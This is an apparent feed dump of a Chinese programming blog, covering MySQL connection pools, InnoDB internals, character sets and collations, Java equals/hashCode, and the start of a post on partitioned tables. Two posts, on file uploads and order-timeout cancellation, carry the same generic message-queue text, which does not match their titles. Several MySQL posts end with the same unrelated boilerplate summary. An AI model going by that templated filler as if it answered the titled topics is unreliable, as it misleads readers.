# 连接错误阈值（防暴力破解）
max_connect_errors = 100

#

5.2 连接数监控

-- 查看当前连接数
SHOW STATUS LIKE 'Threads_connected';
SHOW STATUS LIKE 'Threads_running';
SHOW STATUS LIKE 'Max_used_connections';

-- 查看连接详情
SHOW PROCESSLIST;

-- 查看连接统计
SELECT 
    user,
    host,
    db,
    command,
    state,
    TIME as time_seconds,
    info
FROM information_schema.processlist
WHERE command != 'Sleep'
ORDER BY time_seconds DESC;

六、常见问题排查

#

6.1 连接池耗尽

现象：

java.sql.SQLTransientConnectionException: HikariPool-1 - Connection is not available, request timed out after 30000ms

原因排查：

  1. 连接泄漏（未正确关闭）
  2. 慢SQL占用连接时间过长
  3. 连接数配置过小
  4. 突发流量

排查方法：

// 开启HikariCP泄漏检测
config.setLeakDetectionThreshold(60000);  // 60秒

// 日志输出：
// Apparent connection leak detected, owned by running SQL: SELECT ...

解决：

// 确保在finally中关闭连接
try (Connection conn = dataSource.getConnection();
     PreparedStatement ps = conn.prepareStatement(sql)) {
    // 执行查询
} catch (SQLException e) {
    // 处理异常
}
// try-with-resources 自动关闭

#

6.2 连接超时

现象：

Communications link failure: The last packet successfully received from the server was X milliseconds ago

原因：

  • 网络中断
  • MySQL服务端关闭空闲连接
  • 防火墙切断长连接

解决：

# 连接池配置
spring.datasource.hikari.max-lifetime=1800000  # 小于MySQL wait_timeout

# 测试连接有效性
spring.datasource.hikari.connection-test-query=SELECT 1

#

6.3 Too many connections

现象：

ERROR 1040 (08004): Too many connections

解决：

-- 临时增加（需权限）
SET GLOBAL max_connections = 1000;

-- 查看连接来源
SELECT user, host, COUNT(*) 
FROM information_schema.processlist 
GROUP BY user, host;

-- 杀掉空闲连接
SELECT CONCAT('KILL ', id, ';') 
FROM information_schema.processlist 
WHERE command = 'Sleep' AND time > 600;

#

6.4 连接数优化案例

场景：应用启动后连接数迅速增长到最大，且响应变慢。

分析：

-- 查看每个应用的连接数
SELECT 
    SUBSTRING_INDEX(host, ':', 1) AS app_host,
    COUNT(*) AS conn_count
FROM information_schema.processlist
GROUP BY SUBSTRING_INDEX(host, ':', 1)
ORDER BY conn_count DESC;

优化方案：

  1. 检查是否存在连接泄漏
  2. 优化慢SQL，减少连接占用时间
  3. 调整连接池大小
  4. 考虑增加MySQL从库分散读压力

七、SpringBoot连接池配置

#

7.1 HikariCP（默认）

spring:
  datasource:
    url: jdbc:mysql://localhost:3306/mydb?useUnicode=true&characterEncoding=utf8mb4&useSSL=false&serverTimezone=Asia/Shanghai
    username: root
    password: password
    driver-class-name: com.mysql.cj.jdbc.Driver
    type: com.zaxxer.hikari.HikariDataSource
    hikari:
      pool-name: MyHikariPool
      minimum-idle: 10
      maximum-pool-size: 50
      idle-timeout: 600000
      max-lifetime: 1800000
      connection-timeout: 30000
      connection-test-query: SELECT 1
      data-source-properties:
        cachePrepStmts: true
        prepStmtCacheSize: 250
        prepStmtCacheSqlLimit: 2048

#

7.2 多数据源配置

@Configuration
public class DataSourceConfig {
    
    @Primary
    @Bean(name = "masterDataSource")
    @ConfigurationProperties(prefix = "spring.datasource.master")
    public DataSource masterDataSource() {
        return DataSourceBuilder.create().type(HikariDataSource.class).build();
    }
    
    @Bean(name = "slaveDataSource")
    @ConfigurationProperties(prefix = "spring.datasource.slave")
    public DataSource slaveDataSource() {
        return DataSourceBuilder.create().type(HikariDataSource.class).build();
    }
}

八、连接池监控

#

8.1 HikariCP监控

@Autowired
private HikariDataSource dataSource;

public void printPoolStats() {
    HikariPoolMXBean poolMXBean = dataSource.getHikariPoolMXBean();
    
    System.out.println("活跃连接数: " + poolMXBean.getActiveConnections());
    System.out.println("空闲连接数: " + poolMXBean.getIdleConnections());
    System.out.println("等待连接数: " + poolMXBean.getPendingThreads());
    System.out.println("总连接数: " + poolMXBean.getTotalConnections());
}

#

8.2 Micrometer集成（Prometheus）

<dependency>
    <groupId>io.micrometer</groupId>
    <artifactId>micrometer-registry-prometheus</artifactId>
</dependency>
@Bean
public MeterRegistryCustomizer<MeterRegistry> metricsCustomizer() {
    return registry -> registry.config().commonTags("application", "myapp");
}

#

8.3 告警规则

# Prometheus告警规则
groups:
  - name: connection_pool
    rules:
      - alert: ConnectionPoolHighUsage
        expr: hikaricp_connections_active / hikaricp_connections_max > 0.8
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "连接池使用率超过80%"
          
      - alert: ConnectionPoolWaitTimeHigh
        expr: rate(hikaricp_connections_timeout_total[5m]) > 0
        for: 1m
        labels:
          severity: critical
        annotations:
          summary: "连接池出现获取连接超时"

九、总结

参数HikariCPDruid说明
最大连接数maximumPoolSizemaxActive根据服务器配置估算
最小空闲minimumIdleminIdle保持一定空闲连接
连接超时connectionTimeoutmaxWait获取连接等待时间
空闲回收idleTimeoutminEvictableIdleTimeMillis空闲连接回收时间
最大生命周期maxLifetimemaxEvictableIdleTimeMillis连接最大存活时间

连接池优化的核心要点：

  1. 选择合适的连接池（推荐HikariCP或Druid）
  2. 合理配置连接数（避免过大或过小）
  3. 配置连接检测和超时参数
  4. 监控连接池使用情况
  5. 及时处理连接泄漏问题

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL MySQL 数据库 Java 中 equals 和 hashCode 的正确理解 //java-zhong-equals-he-hashcode-de-zheng-que-li-jie/ Java 中 equals 和 hashCode 的正确理解

Java 里判断对象是否相等，不能只看 ==。== 比较的是引用地址，equals 通常表示业务意义上的相等。只要重写 equals，一般也要重写 hashCode，否则对象放进 HashMap、HashSet 这类集合后会出现很难排查的问题。

一个最小例子

public class User {
    private Long id;

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof User)) return false;
        User user = (User) o;
        return Objects.equals(id, user.id);
    }

    @Override
    public int hashCode() {
        return Objects.hash(id);
    }
}

为什么 hashCode 也要改

HashSet 判断元素是否重复时，会先看 hashCode，再看 equals。如果两个对象 equals 相等，但 hashCode 不一样，它们可能会被放到不同桶里，集合就会认为它们不是同一个对象。

验证方式

写一个简单测试：创建两个 id 相同的 User，放进 HashSet，最后 size 应该是 1。

Set<User> users = new HashSet<>();
users.add(new User(1L));
users.add(new User(1L));
System.out.println(users.size()); // 期望输出 1
]]> Java基础 学习笔记 JAVA MySQL存储引擎InnoDB详解 //mysql-innodb-storage-engine/ MySQL存储引擎InnoDB详解

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

一、InnoDB架构概览

#

1.1 内存结构

┌─────────────────────────────────────────────────┐
│                  Buffer Pool                     │
│  ┌─────────────┐  ┌─────────────┐              │
│  │ Data Pages  │  │ Index Pages │              │
│  └─────────────┘  └─────────────┘              │
│  ┌─────────────┐  ┌─────────────┐              │
│  │ Insert Buf  │  │ Adaptive Hash│              │
│  │ (Change Buf)│  │   Index      │              │
│  └─────────────┘  └─────────────┘              │
│  ┌─────────────┐  ┌─────────────┐              │
│  │  Lock Info  │  │ Data Dict    │              │
│  └─────────────┘  └─────────────┘              │
└─────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────┐
│               Redo Log Buffer                    │
└─────────────────────────────────────────────────┘

#

1.2 磁盘结构

┌─────────────────────────────────────────────────┐
│               System Tablespace                  │
│  (ibdata1: 数据字典、Undo Log、双写缓冲)          │
└─────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────┐
│             File-Per-Table Tablespace            │
│  (user.ibd: 表数据、索引)                         │
└─────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────┐
│               Redo Log Files                     │
│  (ib_logfile0, ib_logfile1)                      │
└─────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────┐
│               Undo Tablespace                    │
│  (undo_001, undo_002, MySQL 8.0+)               │
└─────────────────────────────────────────────────┘

二、Buffer Pool

#

2.1 什么是Buffer Pool

InnoDB在内存中缓存数据页和索引页的区域。所有数据操作先修改Buffer Pool中的页，再异步刷盘。

[mysqld]
# Buffer Pool大小（建议物理内存的50%-75%）
innodb_buffer_pool_size = 4G

# Buffer Pool实例数（每个实例至少1GB）
innodb_buffer_pool_instances = 4

#

2.2 页管理

页类型：

  • 数据页（Data Page）
  • 索引页（Index Page）
  • Undo页
  • Insert Buffer页
  • 系统页

页状态：

Free List → LRU List → Flush List
  空闲页    使用中的页    待刷盘页

#

2.3 LRU算法

InnoDB使用改进的LRU（Least Recently Used）算法：

LRU List（默认划分为5/8和3/8）：

新生代（young sublist，5/8）     老生代（old sublist，3/8）
┌─────────────────────┐  ┌─────────────────────┐
│ 热数据              │  │ 冷数据              │
│ 经常访问            │  │ 首次访问            │
│ mid point           │  │                     │
└─────────────────────┘  └─────────────────────┘

midpoint insertion strategy：

  • 新页不放到LRU头部，而是放到midpoint（默认距尾部37%处）
  • 避免大扫描（如全表扫描）冲掉热数据
  • 页在old区停留超过innodb_old_blocks_time（默认1秒）后被访问，才移到young区

#

2.4 预读机制

线性预读：顺序访问 extent 的56个页，预读下一个extent

随机预读：同一个extent的13个页被访问，预读整个extent

innodb_read_ahead_threshold = 56  # 线性预读阈值
innodb_random_read_ahead = OFF    # 随机预读开关

#

2.5 Buffer Pool状态查看

-- 查看Buffer Pool状态
SHOW ENGINE INNODB STATUS;

-- 查看Buffer Pool配置和命中情况
SHOW STATUS LIKE 'Innodb_buffer_pool%';

-- 关键指标：
-- Innodb_buffer_pool_reads: 从磁盘读取的页数
-- Innodb_buffer_pool_read_requests: 逻辑读取请求数
-- 命中率 = 1 - reads / read_requests

-- MySQL 8.0 查看每个Buffer Pool实例状态
SELECT * FROM performance_schema.innodb_buffer_pool_stats;

三、Change Buffer

#

3.1 什么是Change Buffer

当更新二级索引页时，如果该页不在Buffer Pool中，不立即读入磁盘页，而是将修改缓存到Change Buffer中。后续读该页时合并（Merge）。

适用：

  • 二级索引的INSERT、UPDATE、DELETE
  • 非唯一索引（唯一索引需要校验唯一性，必须读页）

不适用：

  • 唯一索引
  • 主键索引（聚簇索引）
  • 数据页

#

3.2 Change Buffer的优势

  • 减少随机IO：避免频繁读入不常用的索引页
  • 批量合并：将多个修改合并到一次IO
  • 提升写性能：写密集型场景效果显著

#

3.3 配置

# 开启Change Buffer（默认开启）
innodb_change_buffering = all
# 可选值：inserts, deletes, changes, purges, all, none

# Change Buffer占Buffer Pool的比例（默认25%）
innodb_change_buffer_max_size = 25

#

3.4 监控

-- 查看Change Buffer使用情况
SHOW ENGINE INNODB STATUS;

-- 相关输出：
-- INSERT BUFFER AND ADAPTIVE HASH INDEX
-- Ibuf: size 1, free list len 0, seg size 2, 0 merges
-- Ibuf: size = 缓存的页数
-- merges = 合并次数

四、Adaptive Hash Index

#

4.1 原理

InnoDB自动为频繁访问的索引页建立哈希索引，加速等值查询：

B+树查找：需要遍历树，约3-4次比较
哈希查找：O(1)直接定位

#

4.2 自动构建

  • 自动为Buffer Pool中的热点页建立
  • 不需要DBA干预
  • 只适用于等值查询（=、IN）

#

4.3 配置

# 开启AHI（默认开启）
innodb_adaptive_hash_index = ON

# AHI分区数（减少锁竞争）
innodb_adaptive_hash_index_parts = 8

#

4.4 监控

SHOW ENGINE INNODB STATUS;

-- Hash table size: 内存中的AHI大小
-- Hash searches/s: 使用AHI的查询次数
-- Non-hash searches/s: 未使用AHI的查询次数

-- AHI使用率 = hash searches / (hash + non-hash searches)

注意：

  • 大量并发写时，AHI可能成为瓶颈（锁竞争）
  • 可临时关闭：SET GLOBAL innodb_adaptive_hash_index = OFF

五、Redo Log

#

5.1 为什么需要Redo Log

保证事务的持久性（Durability）。数据修改先写Redo Log（顺序写），再异步刷数据页（随机写）。

写入流程：
1. 修改Buffer Pool中的数据页
2. 生成Redo Log记录
3. 写入Redo Log Buffer
4. 事务提交时刷Redo Log到磁盘
5. 后台线程异步刷脏页

崩溃恢复：
- 重启时根据Redo Log恢复未刷盘的数据
- 保证已提交事务不丢失

#

5.2 Redo Log结构

Redo Log File（循环使用）：
┌─────────────────────────────────────────────────┐
│  LSN 1000    │  LSN 2000    │  LSN 3000        │
│  ┌────────┐  │  ┌────────┐  │  ┌────────┐     │
│  │Record 1│  │  │Record 2│  │  │Record 3│     │
│  └────────┘  │  └────────┘  │  └────────┘     │
└─────────────────────────────────────────────────┘
      ▲                                   │
      └────────── checkpint LSN ──────────┘

- checkpoint之前的日志：已刷盘，可覆盖
- checkpoint之后的日志：未刷盘，需保留

#

5.3 配置

# Redo Log文件大小（默认48MB，建议1-2GB）
innodb_log_file_size = 1G

# Redo Log文件数量
innodb_log_files_in_group = 3

# Redo Log缓冲区（默认16MB）
innodb_log_buffer_size = 64M

# 提交时刷盘策略
# 0: 每秒刷盘
# 1: 每次事务刷盘（最安全）
# 2: 写OS缓存，每秒刷盘
innodb_flush_log_at_trx_commit = 1

#

5.4 Redo Log刷盘策略对比

值安全性性能说明
0低最高每秒刷盘，崩溃可能丢失1秒数据
1高低每次事务fsync，最安全
2中高写OS缓存，MySQL崩溃不丢，OS崩溃可能丢

建议：

  • 金融系统：= 1
  • 一般系统：= 2（配合UPS和RAID电池）

六、Undo Log

#

6.1 作用

  • 事务回滚：记录数据修改前的状态
  • MVCC：提供历史版本数据
  • 崩溃恢复：协助Redo Log恢复

#

6.2 存储位置

MySQL 5.7：系统表空间（ibdata1）
MySQL 8.0：独立的Undo Tablespace

# MySQL 8.0 Undo Tablespace配置
innodb_undo_tablespaces = 2  # Undo表空间数量
innodb_max_undo_log_size = 1G # 单个Undo表空间最大大小

#

6.3 Undo Log类型

insert undo log：

  • INSERT操作产生
  • 事务提交后即可删除（不需要MVCC）

update undo log：

  • UPDATE/DELETE产生
  • 需要保留到没有更早的ReadView存在

#

6.4 Undo Log清理

Purge线程负责清理：
1. 找到所有活跃ReadView中最老的trx_id
2. 删除比该trx_id更早且已提交的Undo Log
3. 清理标记为删除的记录

七、Double Write Buffer

#

7.1 部分写问题

16KB的页写到磁盘时，如果写到一半服务器宕机，页可能损坏（partial page write）。

#

7.2 Double Write机制

1. 脏页刷盘前，先复制到Double Write Buffer（2MB，顺序写）
2. 再将脏页写到数据文件（随机写）
3. 如果写数据文件时崩溃：
   - 从Double Write Buffer恢复完整页
   - 再根据Redo Log恢复

#

7.3 配置

# 开启Double Write（默认开启）
innodb_doublewrite = ON

# 原子写支持（某些SSD支持16KB原子写，可关闭Double Write）
# innodb_doublewrite = OFF  # 仅当存储支持原子写时

八、关键参数汇总

参数推荐值说明
innodb_buffer_pool_size物理内存50%-75%缓存数据页
innodb_buffer_pool_instances4-8Buffer Pool实例数
innodb_log_file_size1-2GRedo Log文件大小
innodb_log_files_in_group2-4Redo Log文件数
innodb_flush_log_at_trx_commit1或2提交刷盘策略
innodb_flush_methodO_DIRECT直接IO，避免OS缓存
innodb_io_capacity200-2000磁盘IO能力
innodb_read_io_threads4-16读IO线程数
innodb_write_io_threads4-16写IO线程数
innodb_change_buffer_max_size25Change Buffer比例
innodb_adaptive_hash_indexON自适应哈希索引

九、InnoDB状态监控

-- 查看InnoDB状态（大量信息）
SHOW ENGINE INNODB STATUS;

-- Buffer Pool命中率
SELECT 
    (1 - SUM(VARIABLE_VALUE) / 
     (SELECT VARIABLE_VALUE 
      FROM performance_schema.global_status 
      WHERE VARIABLE_NAME = 'Innodb_buffer_pool_read_requests')
    ) * 100 AS hit_ratio
FROM performance_schema.global_status
WHERE VARIABLE_NAME = 'Innodb_buffer_pool_reads';

-- 查看Buffer Pool详情（MySQL 8.0）
SELECT 
    POOL_ID,
    POOL_SIZE,
    FREE_BUFFERS,
    DATABASE_PAGES,
    OLD_DATABASE_PAGES,
    PAGES_MADE_YOUNG,
    PAGES_NOT_MADE_YOUNG
FROM information_schema.innodb_buffer_pool_stats;

十、总结

组件作用关键配置
Buffer Pool缓存数据和索引页buffer_pool_size
Change Buffer缓存二级索引修改change_buffer_max_size
Adaptive Hash加速等值查询adaptive_hash_index
Redo Log保证持久性log_file_size, flush_log_at_trx_commit
Undo Log回滚和MVCCundo_tablespaces
Double Write防止部分写doublewrite

InnoDB的核心设计思想：

  1. 写优先：顺序写Redo Log，异步随机写数据页
  2. 读优化：Buffer Pool缓存热点数据，AHI加速查询
  3. 空间换时间：Change Buffer减少随机IO
  4. 安全机制：Double Write保证页完整性

理解这些机制，有助于：

  • 合理配置InnoDB参数
  • 诊断性能问题
  • 优化SQL和表结构

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL MySQL 数据库 文件上传服务如何保证稳定 //wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/ 文件上传服务如何保证稳定

文件上传服务需要考虑大小限制、存储方案和稳定性。本文讲一些实用经验。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 MySQL字符集与排序规则 //mysql-charset-collation/ MySQL字符集与排序规则

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

一、字符集基础

#

1.1 什么是字符集

字符集（Character Set）是字符到二进制编码的映射：

字符 'A' → ASCII → 01000001 (0x41)
字符 '中' → UTF-8 → 11100100 10111000 10101101 (0xE4B8AD)

#

1.2 MySQL支持的字符集

字符集每个字符最大字节支持范围说明
latin11西欧语言MySQL 5.x默认
gbk2中文简体兼容GB2312
utf83BMP平面MySQL的utf8实际最多3字节
utf8mb44全Unicode真正的UTF-8，推荐
utf162或4全Unicode定长或变长

#

1.3 UTF-8 vs UTF-8MB4

MySQL的utf8是阉割版的UTF-8，最多使用3字节：

UTF-8编码规则：
- 1字节：0xxxxxxx（ASCII）
- 2字节：110xxxxx 10xxxxxx
- 3字节：1110xxxx 10xxxxxx 10xxxxxx
- 4字节：11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

MySQL utf8：只支持1-3字节（最大0xFFFF）
MySQL utf8mb4：支持1-4字节（完整Unicode）

4字节字符示例：emoji、一些生僻汉字、音乐符号

-- utf8存储emoji会报错
INSERT INTO test_utf8 (content) VALUES ('Hello 😀');
-- ERROR 1366: Incorrect string value

-- utf8mb4正常存储
INSERT INTO test_utf8mb4 (content) VALUES ('Hello 😀');
-- 成功

二、排序规则（Collation）

#

2.1 什么是排序规则

排序规则定义字符的比较和排序规则：

-- 不同排序规则，'a'和'A'的比较结果不同
SELECT 'a' = 'A' COLLATE utf8mb4_general_ci;  -- 1（相等，不区分大小写）
SELECT 'a' = 'A' COLLATE utf8mb4_bin;         -- 0（不相等，二进制比较）

#

2.2 排序规则命名规则

utf8mb4_0900_ai_ci
│      │    │ │ │
│      │    │ │ └── ci = case insensitive（不区分大小写）
│      │    │ └──── ai = accent insensitive（不区分重音）
│      │    └────── 0900 = Unicode版本9.0
│      └─────────── utf8mb4 = 字符集

常见后缀：
| 后缀 | 含义 |
|——|——|
| _ci | Case Insensitive，不区分大小写 |
| _cs | Case Sensitive，区分大小写 |
| _bin | Binary，二进制比较 |
| _ai | Accent Insensitive，不区分重音 |
| _as | Accent Sensitive，区分重音 |

#

2.3 常用排序规则对比

排序规则‘A’=’a’‘a’=’á’性能说明
utf8mb4_general_ci是是快简单规则，可能不准确
utf8mb4_unicode_ci是是中遵循Unicode标准
utf8mb4_0900_ai_ci是是中MySQL 8.0默认，Unicode 9.0
utf8mb4_bin否否最快二进制，区分大小写

三、MySQL字符集层级

#

3.1 六级字符集设置

服务器级（server）
    │
    ├── 数据库级（database）
    │       │
    │       ├── 表级（table）
    │       │       │
    │       │       ├── 列级（column）
    │       │       │       │
    │       │       │       ├── 客户端连接（connection）
    │       │       │       │       │
    │       │       │       │       └── 查询结果（results）

#

3.2 各级别查看和设置

-- 服务器级
SHOW VARIABLES LIKE 'character_set_server';
SHOW VARIABLES LIKE 'collation_server';

-- 数据库级
SHOW CREATE DATABASE mydb;
-- 或
SELECT DEFAULT_CHARACTER_SET_NAME, DEFAULT_COLLATION_NAME 
FROM information_schema.SCHEMATA WHERE SCHEMA_NAME = 'mydb';

-- 表级
SHOW CREATE TABLE mytable;

-- 列级
SHOW FULL COLUMNS FROM mytable;

#

3.3 连接字符集

-- 查看连接相关字符集
SHOW VARIABLES LIKE 'character_set_%';

-- 典型输出：
-- character_set_client     : 客户端发送的SQL编码
-- character_set_connection : 服务器接收后的转换编码
-- character_set_results    : 返回给客户端的编码
-- character_set_database   : 当前数据库编码
-- character_set_server     : 服务器默认编码
-- character_set_system     : 系统元数据编码（固定utf8）

连接字符集工作流程：

客户端（UTF-8）
    │
    │ 发送SQL（UTF-8）
    ▼
character_set_client = utf8mb4
    │
    │ 转换为connection编码
    ▼
character_set_connection = utf8mb4
    │
    │ 执行查询
    ▼
character_set_results = utf8mb4
    │
    │ 转换为results编码
    ▼
客户端接收（UTF-8）

#

3.4 统一设置字符集

[mysqld]
# 服务器默认字符集
character-set-server = utf8mb4
collation-server = utf8mb4_unicode_ci

# 客户端连接字符集
init_connect = 'SET NAMES utf8mb4'

# 跳过字符集校验（避免客户端指定字符集）
# skip-character-set-client-handshake

或在连接时指定：

-- JDBC连接串
jdbc:mysql://localhost:3306/mydb?useUnicode=true&characterEncoding=utf8mb4

-- 连接后执行
SET NAMES utf8mb4;
-- 等效于：
SET character_set_client = utf8mb4;
SET character_set_results = utf8mb4;
SET character_set_connection = utf8mb4;

四、字符集转换问题

#

4.1 转换原理

当字符集不同时，MySQL会进行转换：

客户端(UTF-8) → 服务端(GBK存储)
    ↓
UTF-8字符 → 解码为Unicode → 编码为GBK → 存储

#

4.2 常见乱码问题

问题一：乱码存储

现象：存储"中文"，查询显示"??"或乱码

原因：客户端编码和connection编码不一致

解决：
SET NAMES utf8mb4;
-- 或JDBC连接加 ?characterEncoding=utf8mb4

问题二：截断问题

-- VARCHAR(10)在utf8mb4下最多存10个字符
-- 但某些字符（如emoji）是4字节

-- 存储5个emoji：
INSERT INTO test (content) VALUES ('😀😁😂🤣😃');
-- 如果字段是VARCHAR(4)，会报错：Data too long

问题三：字符集转换导致索引失效

-- 表是utf8mb4，传入utf8
SELECT * FROM user WHERE name = '张三';
-- name列可能无法使用索引（发生隐式转换）

-- 解决：确保连接字符集和表字符集一致
SET NAMES utf8mb4;

#

4.3 字符集转换函数

-- 查看字符串的十六进制
SELECT HEX('中');           -- E4B8AD（UTF-8）
SELECT HEX(CONVERT('中' USING gbk));  -- D6D0（GBK）

-- 转换编码
SELECT CONVERT('中' USING utf8mb4);
SELECT _utf8mb4 '中';       -- 指定字符串字符集

-- 检查字段实际存储的字节
SELECT LENGTH(content), CHAR_LENGTH(content) FROM test;
-- LENGTH：字节数
-- CHAR_LENGTH：字符数

五、生产环境配置

#

5.1 推荐配置

[mysqld]
# 使用utf8mb4
character-set-server = utf8mb4
collation-server = utf8mb4_0900_ai_ci

# 连接设置
init_connect = 'SET NAMES utf8mb4'

[client]
default-character-set = utf8mb4

[mysql]
default-character-set = utf8mb4

#

5.2 数据库和表创建

-- 创建数据库
CREATE DATABASE mydb
    CHARACTER SET utf8mb4
    COLLATE utf8mb4_0900_ai_ci;

-- 创建表
CREATE TABLE user (
    id BIGINT PRIMARY KEY,
    name VARCHAR(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci,
    -- 需要区分大小写的字段
    code VARCHAR(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;

#

5.3 从UTF-8升级到UTF-8MB4

-- 步骤1：修改数据库
ALTER DATABASE mydb CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci;

-- 步骤2：修改表
ALTER TABLE user CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci;

-- 步骤3：修改连接（JDBC）
-- jdbc:mysql://host:3306/mydb?useUnicode=true&characterEncoding=utf8mb4

-- 步骤4：修改字段长度（如果有索引长度限制）
-- utf8的VARCHAR(255)是255*3=765字节
-- utf8mb4的VARCHAR(255)是255*4=1020字节
-- InnoDB索引最大767字节（5.6）或3072字节（5.7+）

注意：

  • CONVERT TO会锁表，大表需要在低峰期执行
  • 也可以只修改特定字段：
    ALTER TABLE user MODIFY name VARCHAR(50) CHARACTER SET utf8mb4;

六、排序规则对查询的影响

#

6.1 大小写敏感查询

-- 不区分大小写的表
SELECT * FROM user WHERE name = 'alice';
-- 能查到 name='Alice' 的记录

-- 需要区分大小写时
SELECT * FROM user WHERE name = 'alice' COLLATE utf8mb4_bin;
-- 只查到 name='alice' 的记录

#

6.2 排序影响

-- 不区分大小写排序
SELECT name FROM user ORDER BY name;
-- Alice, bob, Charlie

-- 区分大小写排序
SELECT name FROM user ORDER BY name COLLATE utf8mb4_bin;
-- Alice, Charlie, bob（大写在前）

#

6.3 索引使用

-- 表使用utf8mb4_general_ci
-- 查询使用utf8mb4_bin
SELECT * FROM user WHERE name = 'Alice' COLLATE utf8mb4_bin;
-- 可能无法使用索引！（排序规则不一致）

-- 解决：确保查询和字段排序规则一致
SELECT * FROM user WHERE name = 'Alice';

七、emoji存储实践

#

7.1 确保完整支持

-- 1. 数据库字符集
SHOW CREATE DATABASE mydb;
-- 确保是utf8mb4

-- 2. 表字符集
SHOW CREATE TABLE user;
-- 确保是utf8mb4

-- 3. 连接字符集
SHOW VARIABLES LIKE 'character_set_%';
-- 确保client、connection、results都是utf8mb4

-- 4. JDBC连接
-- jdbc:mysql://host:3306/mydb?characterEncoding=utf8mb4

#

7.2 存储emoji示例

CREATE TABLE comments (
    id BIGINT AUTO_INCREMENT PRIMARY KEY,
    user_id BIGINT,
    content VARCHAR(500) CHARACTER SET utf8mb4,
    create_time DATETIME
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

INSERT INTO comments (user_id, content) VALUES 
(1, 'Hello 😀 世界 🌍');

SELECT * FROM comments;
-- 正常显示emoji

八、总结

配置项推荐值说明
字符集utf8mb4完整支持Unicode，包括emoji
排序规则utf8mb4_0900_ai_ciMySQL 8.0默认，准确性好
索引排序utf8mb4_bin需要区分大小写时使用
问题原因解决
乱码连接字符集不一致SET NAMES utf8mb4
emoji报错使用utf8而非utf8mb4升级到utf8mb4
索引失效排序规则不一致统一排序规则
截断字符长度计算错误使用CHAR_LENGTH

字符集管理的核心要点：

  1. 统一使用utf8mb4字符集
  2. 确保连接字符集和存储字符集一致
  3. 选择合适的排序规则
  4. 升级旧系统时注意索引长度限制

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL MySQL 数据库 订单超时取消如何实现 //ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/ 订单超时取消如何实现

订单超时取消如何实现是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 MySQL分区表的使用场景 //mysql-partition-table-usage/ MySQL分区表的使用场景

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

一、什么是分区表

#

1.1 分区表概念

将单张表的数据在物理上分散存储到多个分区，但逻辑上仍是一张表。

逻辑视角：
  SELECT * FROM logs;

物理存储：
  logs#P#p202401.ibd
  logs#P#p202402.ibd
  logs#P#p202403.ibd
  logs#P#p202404.ibd

#

1.2 分区 vs 分表

特性分区表手动分表
应用改造无需要
